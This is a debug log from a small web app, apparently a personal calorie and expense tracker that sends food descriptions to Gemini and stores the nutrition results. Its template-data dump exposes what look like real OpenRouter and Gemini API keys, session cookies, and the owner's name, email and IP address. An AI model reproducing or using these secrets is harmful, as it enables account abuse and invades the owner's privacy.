2025-12-18T04:00:52.493Z server-connect:app options: { provider: 'security' }
2025-12-18T04:00:52.493Z server-connect:output identity: 1
2025-12-18T04:00:57.653Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-18T04:00:57.654Z server-connect:app Executing action step identify
2025-12-18T04:00:57.654Z server-connect:app options: { provider: 'security' }
2025-12-18T04:00:57.654Z server-connect:output identity: 1
2025-12-18T04:00:57.654Z server-connect:app Executing action step restrict
2025-12-18T04:00:57.654Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T04:00:57.654Z server-connect:output restrict: undefined
2025-12-18T04:00:57.654Z server-connect:app Executing action step processWithGemini
2025-12-18T04:00:57.654Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-18T04:00:59.663Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Paneer',
      quantity: '50 gm',
      calories_consumed: 148,
      total_calories: 148,
      protein: 11.5,
      carbs: 1.75,
      fat: 10.5,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Excellent source of protein and healthy fats for muscle development. No reason to skip.'
    }
  ],
  total_macros: {
    protein: { value: 11.5, unit: 'g' },
    carbs: { value: 1.75, unit: 'g' },
    fat: { value: 10.5, unit: 'g' }
  }
}
2025-12-18T04:01:11.212Z server-connect:app Executing action step identify
2025-12-18T04:01:11.212Z server-connect:app options: { provider: 'security' }
2025-12-18T04:01:11.212Z server-connect:output identity: 1
2025-12-18T04:01:14.580Z server-connect:app Executing action step identify
2025-12-18T04:01:14.580Z server-connect:app options: { provider: 'security' }
2025-12-18T04:01:14.580Z server-connect:output identity: 1
2025-12-18T04:01:18.579Z server-connect:app Executing action step identify
2025-12-18T04:01:18.579Z server-connect:app options: { provider: 'security' }
2025-12-18T04:01:18.579Z server-connect:output identity: 1
2025-12-18T04:13:41.352Z server-connect:app Executing action step identify
2025-12-18T04:13:41.352Z server-connect:app options: { provider: 'security' }
2025-12-18T04:13:41.352Z server-connect:output identity: 1
2025-12-18T04:14:02.971Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-18T04:14:02.971Z server-connect:app Executing action step identify
2025-12-18T04:14:02.971Z server-connect:app options: { provider: 'security' }
2025-12-18T04:14:02.971Z server-connect:output identity: 1
2025-12-18T04:14:02.971Z server-connect:app Executing action step restrict
2025-12-18T04:14:02.971Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T04:14:02.973Z server-connect:output restrict: undefined
2025-12-18T04:14:02.973Z server-connect:app Executing action step processWithGemini
2025-12-18T04:14:02.973Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-18T04:14:05.238Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Aloo Matar Mix Snack (Googhri)',
      quantity: '1 katori (approx. 150g)',
      calories_consumed: 225,
      total_calories: 225,
      protein: 4.5,
      carbs: 30,
      fat: 10.5,
      lower_calorie_alternatives: [Array],
      skip_level: 2,
      skip_reason: "While potatoes and peas offer some nutrients, 'Googhri' often implies deep-frying or significant oil, increasing calorie and fat content. For muscle development, a less oily preparation or alternative protein sources would be more beneficial."
    }
  ],
  total_macros: {
    protein: { value: 4.5, unit: 'g' },
    carbs: { value: 30, unit: 'g' },
    fat: { value: 10.5, unit: 'g' }
  }
}
2025-12-18T04:14:21.141Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-18T04:14:21.141Z server-connect:app Executing action step identify
2025-12-18T04:14:21.141Z server-connect:app options: { provider: 'security' }
2025-12-18T04:14:21.141Z server-connect:output identity: 1
2025-12-18T04:14:21.141Z server-connect:app Executing action step restrict
2025-12-18T04:14:21.141Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T04:14:21.142Z server-connect:output restrict: undefined
2025-12-18T04:14:21.142Z server-connect:app Executing action step condition
2025-12-18T04:14:21.142Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-18T04:14:21.142Z server-connect:app Executing action step repeat
2025-12-18T04:14:21.142Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-18T04:14:21.142Z server-connect:app Executing action step insert
2025-12-18T04:14:21.142Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-18T04:14:21.144Z server-connect:output calories: { affected: 1, identity: 433 }
2025-12-18T04:14:21.144Z server-connect:output repeat: [ {} ]
2025-12-18T04:14:21.144Z server-connect:output condition: undefined
2025-12-18T04:14:21.389Z server-connect:router Serving templateView /calorie-tracker
2025-12-18T04:14:21.390Z server-connect:app Executing action step identify
2025-12-18T04:14:21.390Z server-connect:app options: { provider: 'security' }
2025-12-18T04:14:21.390Z server-connect:output identity: 1
2025-12-18T04:14:21.390Z server-connect:app Executing action step restrict
2025-12-18T04:14:21.390Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-18T04:14:21.390Z server-connect:output restrict: undefined
2025-12-18T04:14:21.390Z server-connect:router Render template layouts/main
2025-12-18T04:14:21.390Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AdAcB8ogG1XV5TQXPBVhGQg%3D%3D.TBB4ILy26x25ShQNn994KY4eFPPXB1953TvNXgHJfLiRYkpr0A%2FcPTNQV97OQjpiMokmYmM7q3wnm8%2FtLQBjxmhkaiMx7JcnS4heavIw4%2B2YWiOmAkSjnE%2BbF0Um22EXXAKY%2FOaiNxSaE6Z35seOjkBhW%2BINGL7HCfC6v6BMxcI%3D.PT0k245B8RS2Ek7AjMtc6%2FqgC19uyNE3i9L%2FLdTO1YQ; your_r_git.sid=s%3AVkBY102LIeTcHzvu-J0fjlo9LiwgIH_0.QVa%2FExYL4Pi%2BHp13zO%2BL5e3PQEqEKCvNyJp4wumKhqg',
    'x-forwarded-for': '157.48.247.86',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-19T02:37:25.035Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '157.48.247.86',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AdAcB8ogG1XV5TQXPBVhGQg%3D%3D.TBB4ILy26x25ShQNn994KY4eFPPXB1953TvNXgHJfLiRYkpr0A%2FcPTNQV97OQjpiMokmYmM7q3wnm8%2FtLQBjxmhkaiMx7JcnS4heavIw4%2B2YWiOmAkSjnE%2BbF0Um22EXXAKY%2FOaiNxSaE6Z35seOjkBhW%2BINGL7HCfC6v6BMxcI%3D.PT0k245B8RS2Ek7AjMtc6%2FqgC19uyNE3i9L%2FLdTO1YQ; your_r_git.sid=s%3AVkBY102LIeTcHzvu-J0fjlo9LiwgIH_0.QVa%2FExYL4Pi%2BHp13zO%2BL5e3PQEqEKCvNyJp4wumKhqg',
    'HTTP_X_FORWARDED-FOR': '157.48.247.86',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-18T04:14:21.596Z server-connect:app Executing action step identify
2025-12-18T04:14:21.596Z server-connect:app options: { provider: 'security' }
2025-12-18T04:14:21.596Z server-connect:output identity: 1
2025-12-18T04:14:22.075Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-18T04:14:22.076Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-18T04:14:22.076Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-18T04:14:22.077Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-18T04:14:22.077Z server-connect:app Executing action step identify
2025-12-18T04:14:22.077Z server-connect:app options: { provider: 'security' }
2025-12-18T04:14:22.077Z server-connect:output identity: 1
2025-12-18T04:14:22.077Z server-connect:app Executing action step restrict
2025-12-18T04:14:22.077Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T04:14:22.077Z server-connect:app Executing action step identify
2025-12-18T04:14:22.077Z server-connect:app options: { provider: 'security' }
2025-12-18T04:14:22.077Z server-connect:output identity: 1
2025-12-18T04:14:22.077Z server-connect:app Executing action step restrict
2025-12-18T04:14:22.077Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T04:14:22.078Z server-connect:output restrict: undefined
2025-12-18T04:14:22.078Z server-connect:app Executing action step single
2025-12-18T04:14:22.078Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-18T04:14:22.078Z server-connect:app Executing action step identify
2025-12-18T04:14:22.078Z server-connect:app options: { provider: 'security' }
2025-12-18T04:14:22.078Z server-connect:output identity: 1
2025-12-18T04:14:22.079Z server-connect:app Executing action step restrict
2025-12-18T04:14:22.079Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T04:14:22.079Z server-connect:app Executing action step identify
2025-12-18T04:14:22.079Z server-connect:app options: { provider: 'security' }
2025-12-18T04:14:22.079Z server-connect:output identity: 1
2025-12-18T04:14:22.079Z server-connect:app Executing action step restrict
2025-12-18T04:14:22.079Z server-connect:app options: { provider: 'security' }
2025-12-18T04:14:22.079Z server-connect:output restrict: undefined
2025-12-18T04:14:22.079Z server-connect:app Executing action step single
2025-12-18T04:14:22.079Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-18T04:14:22.081Z server-connect:output restrict: undefined
2025-12-18T04:14:22.081Z server-connect:app Executing action step select
2025-12-18T04:14:22.081Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-18T04:14:22.082Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-18T04:14:22.083Z server-connect:output restrict: undefined
2025-12-18T04:14:22.083Z server-connect:app Executing action step single
2025-12-18T04:14:22.083Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-18T04:14:22.087Z server-connect:output summary: undefined
2025-12-18T04:14:22.091Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-18T04:14:22.093Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-18T04:14:22.093Z server-connect:app Executing action step select
2025-12-18T04:14:22.093Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-18T04:14:22.095Z server-connect:output item_list: [
  {
    id: 433,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Aloo Matar Mix Snack (Googhri)',
    calories: 225,
    protein_gm: 5,
    carbs_gm: 30,
    fat_gm: 11,
    quantity: '1 katori (approx. 150g)',
    replacements: 'Steamed Aloo Matar (without deep frying),Aloo Matar with less oil and more vegetables,Roasted chickpeas or lentils',
    created_at: '2025-12-17T22:44:21.000Z',
    skip_level: 2,
    skip_reason: "While potatoes and peas offer some nutrients, 'Googhri' often implies deep-frying or significant oil, increasing calorie and fat content. For muscle development, a less oily preparation or alternative protein sources would be more beneficial."
  }
]
2025-12-18T04:14:22.095Z server-connect:app Executing action step setvalue
2025-12-18T04:14:22.095Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-18T04:14:22.095Z server-connect:output var_total: 225
2025-12-18T04:14:22.095Z server-connect:app Executing action step setvalue
2025-12-18T04:14:22.095Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-18T04:14:22.095Z server-connect:output var_consumed: 9
2025-12-18T04:14:22.095Z server-connect:app Executing action step setvalue
2025-12-18T04:14:22.095Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-18T04:14:22.095Z server-connect:output var_deficit: 2175
2025-12-18T04:14:22.095Z server-connect:app Executing action step custom
2025-12-18T04:14:22.095Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-18T04:14:22.097Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
